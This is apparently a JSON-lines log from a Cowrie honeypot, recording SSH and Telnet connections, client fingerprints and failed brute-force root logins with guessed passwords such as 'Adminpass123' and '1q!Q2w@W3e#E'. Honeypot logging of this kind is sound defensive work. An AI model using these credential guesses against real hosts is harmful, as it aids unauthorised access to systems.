{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:39:28.238849Z","src_ip":"5.182.83.231","session":"9b5432fe1344","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cs123456","message":"login attempt [root/cs123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:39:28.737252Z","src_ip":"5.182.83.231","session":"9b5432fe1344","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:39:29.857141Z","src_ip":"5.182.83.231","session":"9b5432fe1344","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.61384320259094,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:39:33.451218Z","src_ip":"185.26.126.47","session":"66503f20d3fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"96.250.229.56","src_port":41375,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bf6520be566","protocol":"telnet","message":"New connection: 96.250.229.56:41375 (10.17.0.5:23) [session: 4bf6520be566]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:39:57.461268Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":37654,"dst_ip":"159.203.135.109","dst_port":23,"session":"77d18dc53cdc","protocol":"telnet","message":"New connection: 185.26.126.47:37654 (159.203.135.109:23) [session: 77d18dc53cdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:40:02.016580Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":38174,"dst_ip":"159.203.135.109","dst_port":23,"session":"1359fcd79a64","protocol":"telnet","message":"New connection: 185.26.126.47:38174 (159.203.135.109:23) [session: 1359fcd79a64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:40:02.048819Z"}
{"eventid":"cowrie.session.closed","duration":13.661803245544434,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:40:11.122965Z","src_ip":"96.250.229.56","session":"4bf6520be566","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.823937177658081,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:40:14.872613Z","src_ip":"185.26.126.47","session":"1359fcd79a64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.659327745437622,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:40:16.675781Z","src_ip":"185.26.126.47","session":"77d18dc53cdc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.33.197.75","src_port":48710,"dst_ip":"10.17.0.5","dst_port":23,"session":"80fc19cb3892","protocol":"telnet","message":"New connection: 173.33.197.75:48710 (10.17.0.5:23) [session: 80fc19cb3892]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:40:29.797565Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.141.59.195","src_port":49174,"dst_ip":"159.203.135.109","dst_port":22,"session":"99802cffba1a","protocol":"ssh","message":"New connection: 114.141.59.195:49174 (159.203.135.109:22) [session: 99802cffba1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:40:31.689114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:40:31.694624Z","src_ip":"114.141.59.195","session":"99802cffba1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:40:31.934703Z","src_ip":"114.141.59.195","session":"99802cffba1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qa123456@","message":"login attempt [root/Qa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:40:32.934303Z","src_ip":"114.141.59.195","session":"99802cffba1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:40:34.182138Z","src_ip":"114.141.59.195","session":"99802cffba1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01064920425415,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:41:14.033045Z","src_ip":"173.33.197.75","session":"3ac76c6d84f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.33.197.75","src_port":38642,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3ac2b322fa9","protocol":"telnet","message":"New connection: 173.33.197.75:38642 (10.17.0.5:23) [session: a3ac2b322fa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:41:15.749748Z"}
{"eventid":"cowrie.session.connect","src_ip":"191.255.52.36","src_port":40816,"dst_ip":"159.203.135.109","dst_port":22,"session":"17df0cbe2c39","protocol":"ssh","message":"New connection: 191.255.52.36:40816 (159.203.135.109:22) [session: 17df0cbe2c39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:41:40.487322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:41:40.518046Z","src_ip":"191.255.52.36","session":"17df0cbe2c39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:41:40.653212Z","src_ip":"191.255.52.36","session":"17df0cbe2c39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Adminpass123","message":"login attempt [root/Adminpass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:41:41.319222Z","src_ip":"191.255.52.36","session":"17df0cbe2c39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:41:42.519140Z","src_ip":"191.255.52.36","session":"17df0cbe2c39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":34786,"dst_ip":"10.17.0.5","dst_port":22,"session":"11f883bb412f","protocol":"ssh","message":"New connection: 5.182.83.231:34786 (10.17.0.5:22) [session: 11f883bb412f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:42:08.880043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:42:08.883797Z","src_ip":"5.182.83.231","session":"11f883bb412f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:42:09.001225Z","src_ip":"5.182.83.231","session":"11f883bb412f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456.","message":"login attempt [root/Abc123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:42:09.519792Z","src_ip":"5.182.83.231","session":"11f883bb412f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:42:10.639375Z","src_ip":"5.182.83.231","session":"11f883bb412f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00134563446045,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:42:29.798805Z","src_ip":"173.33.197.75","session":"80fc19cb3892","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.33.197.75","src_port":46962,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec81004a1532","protocol":"telnet","message":"New connection: 173.33.197.75:46962 (10.17.0.5:23) [session: ec81004a1532]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:42:30.642328Z"}
{"eventid":"cowrie.session.closed","duration":120.01113677024841,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:43:15.760758Z","src_ip":"173.33.197.75","session":"a3ac2b322fa9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.33.197.75","src_port":38194,"dst_ip":"10.17.0.5","dst_port":23,"session":"82d512f17d69","protocol":"telnet","message":"New connection: 173.33.197.75:38194 (10.17.0.5:23) [session: 82d512f17d69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:43:17.690610Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.195.141.149","src_port":34218,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa28f20dbd2d","protocol":"telnet","message":"New connection: 37.195.141.149:34218 (159.203.135.109:23) [session: fa28f20dbd2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:43:36.234820Z"}
{"eventid":"cowrie.session.closed","duration":5.683130979537964,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:43:41.917829Z","src_ip":"37.195.141.149","session":"fa28f20dbd2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.01966857910156,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:44:30.661871Z","src_ip":"173.33.197.75","session":"ec81004a1532","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.33.197.75","src_port":35762,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0e9c486a96d","protocol":"telnet","message":"New connection: 173.33.197.75:35762 (10.17.0.5:23) [session: d0e9c486a96d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:44:31.099103Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":45682,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8865245e5a9","protocol":"ssh","message":"New connection: 5.182.83.231:45682 (10.17.0.5:22) [session: c8865245e5a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:45:04.902715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:45:04.908845Z","src_ip":"5.182.83.231","session":"c8865245e5a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:45:05.027839Z","src_ip":"5.182.83.231","session":"c8865245e5a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q!Q2w@W3e#E","message":"login attempt [root/1q!Q2w@W3e#E] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:45:05.520611Z","src_ip":"5.182.83.231","session":"c8865245e5a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:45:06.641191Z","src_ip":"5.182.83.231","session":"c8865245e5a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00198554992676,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:45:17.692454Z","src_ip":"173.33.197.75","session":"82d512f17d69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.185.132.159","src_port":57650,"dst_ip":"10.17.0.5","dst_port":22,"session":"943696810389","protocol":"ssh","message":"New connection: 147.185.132.159:57650 (10.17.0.5:22) [session: 943696810389]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:45:21.410604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:45:22.538481Z","src_ip":"147.185.132.159","session":"943696810389","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:45:23.548963Z","src_ip":"147.185.132.159","session":"943696810389","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.5","message":"Connection lost after 10.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:45:31.881322Z","src_ip":"147.185.132.159","session":"943696810389","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.33.197.75","src_port":38552,"dst_ip":"10.17.0.5","dst_port":23,"session":"95ec50f9b98a","protocol":"telnet","message":"New connection: 173.33.197.75:38552 (10.17.0.5:23) [session: 95ec50f9b98a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:46:16.672190Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.249.86.110","src_port":34482,"dst_ip":"159.203.135.109","dst_port":23,"session":"22a3cb1c3ebd","protocol":"telnet","message":"New connection: 45.249.86.110:34482 (159.203.135.109:23) [session: 22a3cb1c3ebd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:46:20.399374Z"}
{"eventid":"cowrie.session.closed","duration":120.00161457061768,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:46:31.100560Z","src_ip":"173.33.197.75","session":"d0e9c486a96d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.33.197.75","src_port":52578,"dst_ip":"10.17.0.5","dst_port":23,"session":"88f1ce7a22f1","protocol":"telnet","message":"New connection: 173.33.197.75:52578 (10.17.0.5:23) [session: 88f1ce7a22f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:46:32.272526Z"}
{"eventid":"cowrie.session.closed","duration":14.024473428726196,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:46:34.423737Z","src_ip":"45.249.86.110","session":"22a3cb1c3ebd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.118.159.159","src_port":5512,"dst_ip":"159.203.135.109","dst_port":23,"session":"55b16c86936a","protocol":"telnet","message":"New connection: 45.118.159.159:5512 (159.203.135.109:23) [session: 55b16c86936a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:46:43.226057Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.141.59.195","src_port":58264,"dst_ip":"159.203.135.109","dst_port":22,"session":"00dab16b8be5","protocol":"ssh","message":"New connection: 114.141.59.195:58264 (159.203.135.109:22) [session: 00dab16b8be5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:46:53.119047Z"}
